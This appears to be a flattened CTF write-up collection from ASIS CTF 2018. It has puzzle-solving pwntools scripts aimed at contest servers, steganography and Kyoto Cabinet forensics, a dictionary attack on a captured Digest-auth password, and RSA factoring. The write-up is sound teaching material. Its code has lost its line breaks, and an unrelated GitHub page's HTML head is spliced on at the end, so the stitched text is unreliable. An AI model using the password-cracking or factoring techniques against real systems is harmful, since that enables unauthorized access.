-*- from sage.all import *from pwn import * def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l r = remote('37.139.22.174', 11740) r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s)) stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1))) print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break r.interactive()``` ### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool! ```python#!/usr/bin/env python import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp from pwn import * host = '37.139.22.174'port = 56653 def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r if __name__ == '__main__': import sys r = my_remote(host, port, show=True) while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k)) if k == 9: break r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}` ### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point. Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used. Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import * def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry while True: r.recvuntil('k = ') k = int(r.recvline()[:-1]) m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry) cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1) r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break``` FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}` ## misc ### Plastic (sces60107) There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"``` You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==` But you cannot just use base64 decoder. There is something you need to do first. You remove every `` in the string. Then, you can use base64 decode. After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot ``` The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}` ## forensic ### Trashy Or Classy (sces60107 bookgin) In this forensic challenge you will get a pcap file. In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/` It's a compilicated challenge. I will try to make a long story short. This challenge can be divided into three steps. #### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx` Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync) You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx` There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr` But you need the username and password for the authentication. #### second step The username can be found in the pcap file. It's `admin` But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack. It's won't take too much time to crack the password. Finally, the password is `rainbow` #### third step Now you can login and download the `flag.caidx`. But you still cannot list `flag.castr` You may need to install `casync` Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` You can download all the chunk file in `flag.castr` now. Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png``` The flaf is right here.![](https://i.imgur.com/SSoTmJm.png) The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}` ### Tokyo (sces60107) Without the hint, this challenge is probably the most guessing challenge in this CTF. We will get a binary, but it can't be recognized by any tools. After some investigation, I got three clues from the binary. First, there is a header at the begining of this binary. And the header begin with `KC\n` Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter. Gather all the printable letter. It seems like you can reconstruct the flag from it in some order. `!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua` Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary. Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89. These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3. That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet` Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database `KC\n` is the magic signatrure of kyoto cabinet database file. According the header, we can also find out that it is a hashdatabase. After understanding the mechanism of kypto cabinet database, the end of the database is the record section. Those 3-byte-long blocks is buckets. ![](https://i.imgur.com/WcskOZg.png) So, the last question is what the key is. According to record section, we will know the key size which is 3 byte long. After several attempts, I found out the keys of the flag go from "000" to "088" It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:] temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3) t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp) flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2 indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007) flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3``` This code is not a clean code. I'm sorry about that. By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}` ## crypto ### the_early_school (shw)```pythonfrom Crypto.Util.number import * def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:] for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}` ### Iran (shw and sasdf) #### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t) for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/2018/swampctf/Syscaller_Lament at master · phieulang1993/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="94BE:68DA:20BF3837:21BC46FF:641226C6" data-pjax-transient="true"/><meta name="html-safe-nonce" content="04e0ad4356efec2a1757a9c65f9baa9ab9fa54f513c2bfaac25a18253cfa2c95" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5NEJFOjY4REE6MjBCRjM4Mzc6MjFCQzQ2RkY6NjQxMjI2QzYiLCJ2aXNpdG9yX2lkIjoiMTUyNjcwMjY2NTk5MTU5NTcxOCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="569976d1fc62edcbe7d3cfdb6d4f0826808e6c1690d2a09d6abe8f9369ee5df0" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:119324220" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e4ffe5f97436ab0e5b340b52bcb75ec1777ddf62f29564960a11eff5edecb2bc/phieulang1993/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/2018/swampctf/Syscaller_Lament at master · phieulang1993/ctf-writeups" /><meta name="twitter:description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e4ffe5f97436ab0e5b340b52bcb75ec1777ddf62f29564960a11eff5edecb2bc/phieulang1993/ctf-writeups" /><meta property="og:image:alt" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/2018/swampctf/Syscaller_Lament at master · phieulang1993/ctf-writeups" /><meta property="og:url" content="https://github.com/phieulang1993/ctf-writeups" /><meta property="og:description" content="CTF writeups. 